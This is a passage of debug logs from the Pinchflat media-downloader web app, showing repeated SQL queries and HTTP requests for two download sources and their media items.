true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.824 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 04:53:43.826 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.827 [debug] QUERY OK source="sources" db=0.4ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.828 [info] Sent 200 in 40ms 04:53:43.829 [debug] QUERY OK source="media_items" db=1.2ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 04:53:43.832 [debug] QUERY OK source="media_items" db=2.2ms idle=6.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 04:53:43.836 [info] Sent 200 in 38ms 04:53:43.908 [info] GET /sources/32/edit 04:53:43.909 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 04:53:43.910 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=83.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 04:53:43.912 [debug] QUERY OK source="media_profiles" db=0.6ms idle=83.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:43.913 [debug] QUERY OK source="settings" db=0.4ms idle=83.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.914 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=81.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.915 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=76.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.924 [info] Sent 200 in 15ms 04:53:43.986 [info] GET /sources/33 04:53:43.986 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 04:53:43.988 [info] GET /sources/33/ 04:53:43.988 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 04:53:43.988 [debug] QUERY OK source="sources" db=1.0ms idle=76.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:43.991 [debug] QUERY OK source="media_profiles" db=2.0ms idle=75.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:43.992 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=77.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:43.993 [debug] QUERY OK source="tasks" db=0.8ms queue=0.5ms idle=77.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 04:53:43.994 [debug] QUERY OK source="media_profiles" db=1.5ms idle=76.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:43.995 [debug] QUERY OK source="oban_jobs" db=1.4ms queue=0.1ms idle=5.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 04:53:43.996 [debug] QUERY OK source="tasks" db=1.6ms queue=0.1ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 04:53:43.997 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.998 [debug] QUERY OK source="oban_jobs" db=0.8ms queue=0.1ms idle=3.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 04:53:43.998 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:43.999 [debug] QUERY OK source="settings" db=1.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.000 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.000 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.002 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.004 [debug] QUERY OK source="sources" db=0.4ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.007 [debug] QUERY OK source="sources" db=0.5ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.007 [debug] QUERY OK source="media_items" db=1.7ms idle=5.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 04:53:44.012 [debug] QUERY OK source="media_items" db=4.9ms idle=7.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 04:53:44.013 [debug] QUERY OK source="media_items" db=5.6ms idle=5.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.016 [debug] QUERY OK source="media_items" db=2.7ms idle=8.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.016 [debug] QUERY OK source="sources" db=0.6ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.018 [debug] QUERY OK source="sources" db=1.1ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.018 [debug] QUERY OK source="media_items" db=1.4ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 04:53:44.019 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 04:53:44.021 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.022 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.026 [debug] QUERY OK source="sources" db=1.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.026 [debug] QUERY OK source="sources" db=1.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.028 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=7.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 04:53:44.030 [debug] QUERY OK source="media_items" db=2.4ms idle=6.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 04:53:44.033 [debug] QUERY OK source="media_items" db=4.2ms queue=0.1ms idle=7.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.035 [debug] QUERY OK source="media_items" db=5.1ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true 